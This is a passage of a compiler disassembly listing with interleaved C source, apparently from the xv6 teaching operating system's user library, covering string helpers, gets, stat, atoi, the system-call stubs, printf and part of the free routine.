memset(void *dst, int c, uint n)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 57 push %edi
154: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
157: 8b 4d 10 mov 0x10(%ebp),%ecx
15a: 8b 45 0c mov 0xc(%ebp),%eax
15d: 89 d7 mov %edx,%edi
15f: fc cld
160: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
162: 89 d0 mov %edx,%eax
164: 5f pop %edi
165: 5d pop %ebp
166: c3 ret
167: 89 f6 mov %esi,%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <strchr>:
char*
strchr(const char *s, char c)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 53 push %ebx
174: 8b 45 08 mov 0x8(%ebp),%eax
177: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
17a: 0f b6 10 movzbl (%eax),%edx
17d: 84 d2 test %dl,%dl
17f: 74 1d je 19e <strchr+0x2e>
if(*s == c)
181: 38 d3 cmp %dl,%bl
183: 89 d9 mov %ebx,%ecx
185: 75 0d jne 194 <strchr+0x24>
187: eb 17 jmp 1a0 <strchr+0x30>
189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
190: 38 ca cmp %cl,%dl
192: 74 0c je 1a0 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
194: 83 c0 01 add $0x1,%eax
197: 0f b6 10 movzbl (%eax),%edx
19a: 84 d2 test %dl,%dl
19c: 75 f2 jne 190 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
19e: 31 c0 xor %eax,%eax
}
1a0: 5b pop %ebx
1a1: 5d pop %ebp
1a2: c3 ret
1a3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001b0 <gets>:
char*
gets(char *buf, int max)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 57 push %edi
1b4: 56 push %esi
1b5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
1b6: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
1b8: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
1bb: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1be: eb 29 jmp 1e9 <gets+0x39>
cc = read(0, &c, 1);
1c0: 83 ec 04 sub $0x4,%esp
1c3: 6a 01 push $0x1
1c5: 57 push %edi
1c6: 6a 00 push $0x0
1c8: e8 2d 01 00 00 call 2fa <read>
if(cc < 1)
1cd: 83 c4 10 add $0x10,%esp
1d0: 85 c0 test %eax,%eax
1d2: 7e 1d jle 1f1 <gets+0x41>
break;
buf[i++] = c;
1d4: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1d8: 8b 55 08 mov 0x8(%ebp),%edx
1db: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
1dd: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
1df: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
1e3: 74 1b je 200 <gets+0x50>
1e5: 3c 0d cmp $0xd,%al
1e7: 74 17 je 200 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1e9: 8d 5e 01 lea 0x1(%esi),%ebx
1ec: 3b 5d 0c cmp 0xc(%ebp),%ebx
1ef: 7c cf jl 1c0 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1f1: 8b 45 08 mov 0x8(%ebp),%eax
1f4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1f8: 8d 65 f4 lea -0xc(%ebp),%esp
1fb: 5b pop %ebx
1fc: 5e pop %esi
1fd: 5f pop %edi
1fe: 5d pop %ebp
1ff: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
200: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
203: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
205: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
209: 8d 65 f4 lea -0xc(%ebp),%esp
20c: 5b pop %ebx
20d: 5e pop %esi
20e: 5f pop %edi
20f: 5d pop %ebp
210: c3 ret
211: eb 0d jmp 220 <stat>
213: 90 nop
214: 90 nop
215: 90 nop
216: 90 nop
217: 90 nop
218: 90 nop
219: 90 nop
21a: 90 nop
21b: 90 nop
21c: 90 nop
21d: 90 nop
21e: 90 nop
21f: 90 nop
00000220 <stat>:
int
stat(char *n, struct stat *st)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 56 push %esi
224: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
225: 83 ec 08 sub $0x8,%esp
228: 6a 00 push $0x0
22a: ff 75 08 pushl 0x8(%ebp)
22d: e8 f0 00 00 00 call 322 <open>
if(fd < 0)
232: 83 c4 10 add $0x10,%esp
235: 85 c0 test %eax,%eax
237: 78 27 js 260 <stat+0x40>
return -1;
r = fstat(fd, st);
239: 83 ec 08 sub $0x8,%esp
23c: ff 75 0c pushl 0xc(%ebp)
23f: 89 c3 mov %eax,%ebx
241: 50 push %eax
242: e8 f3 00 00 00 call 33a <fstat>
close(fd);
247: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
24a: 89 c6 mov %eax,%esi
close(fd);
24c: e8 b9 00 00 00 call 30a <close>
return r;
251: 83 c4 10 add $0x10,%esp
}
254: 8d 65 f8 lea -0x8(%ebp),%esp
257: 89 f0 mov %esi,%eax
259: 5b pop %ebx
25a: 5e pop %esi
25b: 5d pop %ebp
25c: c3 ret
25d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
260: be ff ff ff ff mov $0xffffffff,%esi
265: eb ed jmp 254 <stat+0x34>
267: 89 f6 mov %esi,%esi
269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000270 <atoi>:
return r;
}
int
atoi(const char *s)
{
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 53 push %ebx
274: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
277: 0f be 11 movsbl (%ecx),%edx
27a: 8d 42 d0 lea -0x30(%edx),%eax
27d: 3c 09 cmp $0x9,%al
27f: b8 00 00 00 00 mov $0x0,%eax
284: 77 1f ja 2a5 <atoi+0x35>
286: 8d 76 00 lea 0x0(%esi),%esi
289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
290: 8d 04 80 lea (%eax,%eax,4),%eax
293: 83 c1 01 add $0x1,%ecx
296: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
29a: 0f be 11 movsbl (%ecx),%edx
29d: 8d 5a d0 lea -0x30(%edx),%ebx
2a0: 80 fb 09 cmp $0x9,%bl
2a3: 76 eb jbe 290 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
2a5: 5b pop %ebx
2a6: 5d pop %ebp
2a7: c3 ret
2a8: 90 nop
2a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000002b0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2b0: 55 push %ebp
2b1: 89 e5 mov %esp,%ebp
2b3: 56 push %esi
2b4: 53 push %ebx
2b5: 8b 5d 10 mov 0x10(%ebp),%ebx
2b8: 8b 45 08 mov 0x8(%ebp),%eax
2bb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2be: 85 db test %ebx,%ebx
2c0: 7e 14 jle 2d6 <memmove+0x26>
2c2: 31 d2 xor %edx,%edx
2c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2c8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2cc: 88 0c 10 mov %cl,(%eax,%edx,1)
2cf: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2d2: 39 da cmp %ebx,%edx
2d4: 75 f2 jne 2c8 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
2d6: 5b pop %ebx
2d7: 5e pop %esi
2d8: 5d pop %ebp
2d9: c3 ret
000002da <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2da: b8 01 00 00 00 mov $0x1,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <exit>:
SYSCALL(exit)
2e2: b8 02 00 00 00 mov $0x2,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <wait>:
SYSCALL(wait)
2ea: b8 03 00 00 00 mov $0x3,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <pipe>:
SYSCALL(pipe)
2f2: b8 04 00 00 00 mov $0x4,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <read>:
SYSCALL(read)
2fa: b8 05 00 00 00 mov $0x5,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <write>:
SYSCALL(write)
302: b8 10 00 00 00 mov $0x10,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <close>:
SYSCALL(close)
30a: b8 15 00 00 00 mov $0x15,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <kill>:
SYSCALL(kill)
312: b8 06 00 00 00 mov $0x6,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <exec>:
SYSCALL(exec)
31a: b8 07 00 00 00 mov $0x7,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <open>:
SYSCALL(open)
322: b8 0f 00 00 00 mov $0xf,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <mknod>:
SYSCALL(mknod)
32a: b8 11 00 00 00 mov $0x11,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <unlink>:
SYSCALL(unlink)
332: b8 12 00 00 00 mov $0x12,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <fstat>:
SYSCALL(fstat)
33a: b8 08 00 00 00 mov $0x8,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <link>:
SYSCALL(link)
342: b8 13 00 00 00 mov $0x13,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <mkdir>:
SYSCALL(mkdir)
34a: b8 14 00 00 00 mov $0x14,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <chdir>:
SYSCALL(chdir)
352: b8 09 00 00 00 mov $0x9,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <dup>:
SYSCALL(dup)
35a: b8 0a 00 00 00 mov $0xa,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <getpid>:
SYSCALL(getpid)
362: b8 0b 00 00 00 mov $0xb,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <getppid>:
SYSCALL(getppid)
36a: b8 19 00 00 00 mov $0x19,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <getAllPids>:
SYSCALL(getAllPids)
372: b8 17 00 00 00 mov $0x17,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <shutdown>:
SYSCALL(shutdown)
37a: b8 18 00 00 00 mov $0x18,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <sbrk>:
SYSCALL(sbrk)
382: b8 0c 00 00 00 mov $0xc,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <sleep>:
SYSCALL(sleep)
38a: b8 0d 00 00 00 mov $0xd,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <uptime>:
SYSCALL(uptime)
392: b8 0e 00 00 00 mov $0xe,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <cps>:
SYSCALL(cps)
39a: b8 16 00 00 00 mov $0x16,%eax
39f: cd 40 int $0x40
3a1: c3 ret
3a2: 66 90 xchg %ax,%ax
3a4: 66 90 xchg %ax,%ax
3a6: 66 90 xchg %ax,%ax
3a8: 66 90 xchg %ax,%ax
3aa: 66 90 xchg %ax,%ax
3ac: 66 90 xchg %ax,%ax
3ae: 66 90 xchg %ax,%ax
000003b0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 57 push %edi
3b4: 56 push %esi
3b5: 53 push %ebx
3b6: 89 c6 mov %eax,%esi
3b8: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3bb: 8b 5d 08 mov 0x8(%ebp),%ebx
3be: 85 db test %ebx,%ebx
3c0: 74 7e je 440 <printint+0x90>
3c2: 89 d0 mov %edx,%eax
3c4: c1 e8 1f shr $0x1f,%eax
3c7: 84 c0 test %al,%al
3c9: 74 75 je 440 <printint+0x90>
neg = 1;
x = -xx;
3cb: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
3cd: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
3d4: f7 d8 neg %eax
3d6: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
3d9: 31 ff xor %edi,%edi
3db: 8d 5d d7 lea -0x29(%ebp),%ebx
3de: 89 ce mov %ecx,%esi
3e0: eb 08 jmp 3ea <printint+0x3a>
3e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
3e8: 89 cf mov %ecx,%edi
3ea: 31 d2 xor %edx,%edx
3ec: 8d 4f 01 lea 0x1(%edi),%ecx
3ef: f7 f6 div %esi
3f1: 0f b6 92 bc 07 00 00 movzbl 0x7bc(%edx),%edx
}while((x /= base) != 0);
3f8: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
3fa: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
3fd: 75 e9 jne 3e8 <printint+0x38>
if(neg)
3ff: 8b 45 c4 mov -0x3c(%ebp),%eax
402: 8b 75 c0 mov -0x40(%ebp),%esi
405: 85 c0 test %eax,%eax
407: 74 08 je 411 <printint+0x61>
buf[i++] = '-';
409: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
40e: 8d 4f 02 lea 0x2(%edi),%ecx
while(--i >= 0)
411: 8d 79 ff lea -0x1(%ecx),%edi
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
418: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
41d: 83 ec 04 sub $0x4,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
420: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
423: 6a 01 push $0x1
425: 53 push %ebx
426: 56 push %esi
427: 88 45 d7 mov %al,-0x29(%ebp)
42a: e8 d3 fe ff ff call 302 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
42f: 83 c4 10 add $0x10,%esp
432: 83 ff ff cmp $0xffffffff,%edi
435: 75 e1 jne 418 <printint+0x68>
putc(fd, buf[i]);
}
437: 8d 65 f4 lea -0xc(%ebp),%esp
43a: 5b pop %ebx
43b: 5e pop %esi
43c: 5f pop %edi
43d: 5d pop %ebp
43e: c3 ret
43f: 90 nop
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
440: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
442: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
449: eb 8b jmp 3d6 <printint+0x26>
44b: 90 nop
44c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000450 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 57 push %edi
454: 56 push %esi
455: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
456: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
459: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
45c: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
45f: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
462: 89 45 d0 mov %eax,-0x30(%ebp)
465: 0f b6 1e movzbl (%esi),%ebx
468: 83 c6 01 add $0x1,%esi
46b: 84 db test %bl,%bl
46d: 0f 84 b0 00 00 00 je 523 <printf+0xd3>
473: 31 d2 xor %edx,%edx
475: eb 39 jmp 4b0 <printf+0x60>
477: 89 f6 mov %esi,%esi
479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
480: 83 f8 25 cmp $0x25,%eax
483: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
486: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
48b: 74 18 je 4a5 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
48d: 8d 45 e2 lea -0x1e(%ebp),%eax
490: 83 ec 04 sub $0x4,%esp
493: 88 5d e2 mov %bl,-0x1e(%ebp)
496: 6a 01 push $0x1
498: 50 push %eax
499: 57 push %edi
49a: e8 63 fe ff ff call 302 <write>
49f: 8b 55 d4 mov -0x2c(%ebp),%edx
4a2: 83 c4 10 add $0x10,%esp
4a5: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4a8: 0f b6 5e ff movzbl -0x1(%esi),%ebx
4ac: 84 db test %bl,%bl
4ae: 74 73 je 523 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
4b0: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
4b2: 0f be cb movsbl %bl,%ecx
4b5: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
4b8: 74 c6 je 480 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
4ba: 83 fa 25 cmp $0x25,%edx
4bd: 75 e6 jne 4a5 <printf+0x55>
if(c == 'd'){
4bf: 83 f8 64 cmp $0x64,%eax
4c2: 0f 84 f8 00 00 00 je 5c0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
4c8: 81 e1 f7 00 00 00 and $0xf7,%ecx
4ce: 83 f9 70 cmp $0x70,%ecx
4d1: 74 5d je 530 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4d3: 83 f8 73 cmp $0x73,%eax
4d6: 0f 84 84 00 00 00 je 560 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4dc: 83 f8 63 cmp $0x63,%eax
4df: 0f 84 ea 00 00 00 je 5cf <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4e5: 83 f8 25 cmp $0x25,%eax
4e8: 0f 84 c2 00 00 00 je 5b0 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ee: 8d 45 e7 lea -0x19(%ebp),%eax
4f1: 83 ec 04 sub $0x4,%esp
4f4: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4f8: 6a 01 push $0x1
4fa: 50 push %eax
4fb: 57 push %edi
4fc: e8 01 fe ff ff call 302 <write>
501: 83 c4 0c add $0xc,%esp
504: 8d 45 e6 lea -0x1a(%ebp),%eax
507: 88 5d e6 mov %bl,-0x1a(%ebp)
50a: 6a 01 push $0x1
50c: 50 push %eax
50d: 57 push %edi
50e: 83 c6 01 add $0x1,%esi
511: e8 ec fd ff ff call 302 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
516: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
51a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
51d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
51f: 84 db test %bl,%bl
521: 75 8d jne 4b0 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
523: 8d 65 f4 lea -0xc(%ebp),%esp
526: 5b pop %ebx
527: 5e pop %esi
528: 5f pop %edi
529: 5d pop %ebp
52a: c3 ret
52b: 90 nop
52c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
530: 83 ec 0c sub $0xc,%esp
533: b9 10 00 00 00 mov $0x10,%ecx
538: 6a 00 push $0x0
53a: 8b 5d d0 mov -0x30(%ebp),%ebx
53d: 89 f8 mov %edi,%eax
53f: 8b 13 mov (%ebx),%edx
541: e8 6a fe ff ff call 3b0 <printint>
ap++;
546: 89 d8 mov %ebx,%eax
548: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
54b: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
54d: 83 c0 04 add $0x4,%eax
550: 89 45 d0 mov %eax,-0x30(%ebp)
553: e9 4d ff ff ff jmp 4a5 <printf+0x55>
558: 90 nop
559: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
560: 8b 45 d0 mov -0x30(%ebp),%eax
563: 8b 18 mov (%eax),%ebx
ap++;
565: 83 c0 04 add $0x4,%eax
568: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
56b: 85 db test %ebx,%ebx
56d: 74 7c je 5eb <printf+0x19b>
s = "(null)";
while(*s != 0){
56f: 0f b6 03 movzbl (%ebx),%eax
572: 84 c0 test %al,%al
574: 74 29 je 59f <printf+0x14f>
576: 8d 76 00 lea 0x0(%esi),%esi
579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
580: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
583: 8d 45 e3 lea -0x1d(%ebp),%eax
586: 83 ec 04 sub $0x4,%esp
589: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
58b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
58e: 50 push %eax
58f: 57 push %edi
590: e8 6d fd ff ff call 302 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
595: 0f b6 03 movzbl (%ebx),%eax
598: 83 c4 10 add $0x10,%esp
59b: 84 c0 test %al,%al
59d: 75 e1 jne 580 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
59f: 31 d2 xor %edx,%edx
5a1: e9 ff fe ff ff jmp 4a5 <printf+0x55>
5a6: 8d 76 00 lea 0x0(%esi),%esi
5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5b0: 83 ec 04 sub $0x4,%esp
5b3: 88 5d e5 mov %bl,-0x1b(%ebp)
5b6: 8d 45 e5 lea -0x1b(%ebp),%eax
5b9: 6a 01 push $0x1
5bb: e9 4c ff ff ff jmp 50c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
5c0: 83 ec 0c sub $0xc,%esp
5c3: b9 0a 00 00 00 mov $0xa,%ecx
5c8: 6a 01 push $0x1
5ca: e9 6b ff ff ff jmp 53a <printf+0xea>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
5cf: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5d2: 83 ec 04 sub $0x4,%esp
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
5d5: 8b 03 mov (%ebx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5d7: 6a 01 push $0x1
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
5d9: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5dc: 8d 45 e4 lea -0x1c(%ebp),%eax
5df: 50 push %eax
5e0: 57 push %edi
5e1: e8 1c fd ff ff call 302 <write>
5e6: e9 5b ff ff ff jmp 546 <printf+0xf6>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5eb: b8 28 00 00 00 mov $0x28,%eax
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
5f0: bb b3 07 00 00 mov $0x7b3,%ebx
5f5: eb 89 jmp 580 <printf+0x130>
5f7: 66 90 xchg %ax,%ax
5f9: 66 90 xchg %ax,%ax
5fb: 66 90 xchg %ax,%ax
5fd: 66 90 xchg %ax,%ax
5ff: 90 nop
00000600 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
600: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
601: a1 60 0a 00 00 mov 0xa60,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
606: 89 e5 mov %esp,%ebp
608: 57 push %edi
609: 56 push %esi
60a: 53 push %ebx
60b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
60e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
610: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
613: 39 c8 cmp %ecx,%eax
615: 73 19 jae 630 <free+0x30>
617: 89 f6 mov %esi,%esi
619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
620: 39 d1 cmp %edx,%ecx
622: 72 1c jb 640 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
624: 39 d0 cmp %edx,%eax
626: 73 18 jae 640 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
628: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
62a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
62c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
62e: 72 f0 jb 620 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
630: 39 d0 cmp %edx,%eax
632: 72 f4 jb 628 <free+0x28>
634: 39 d1 cmp %edx,%ecx
636: 73 f0 jae 628 <free+0x28>
638: 90 nop
639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
640: 8b 73 fc mov -0x4(%ebx),%esi
643: 8d 3c f1 lea (%ecx,%esi,8),%edi
646: 39 fa cmp %edi,%edx
648: 74 19 je 663 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
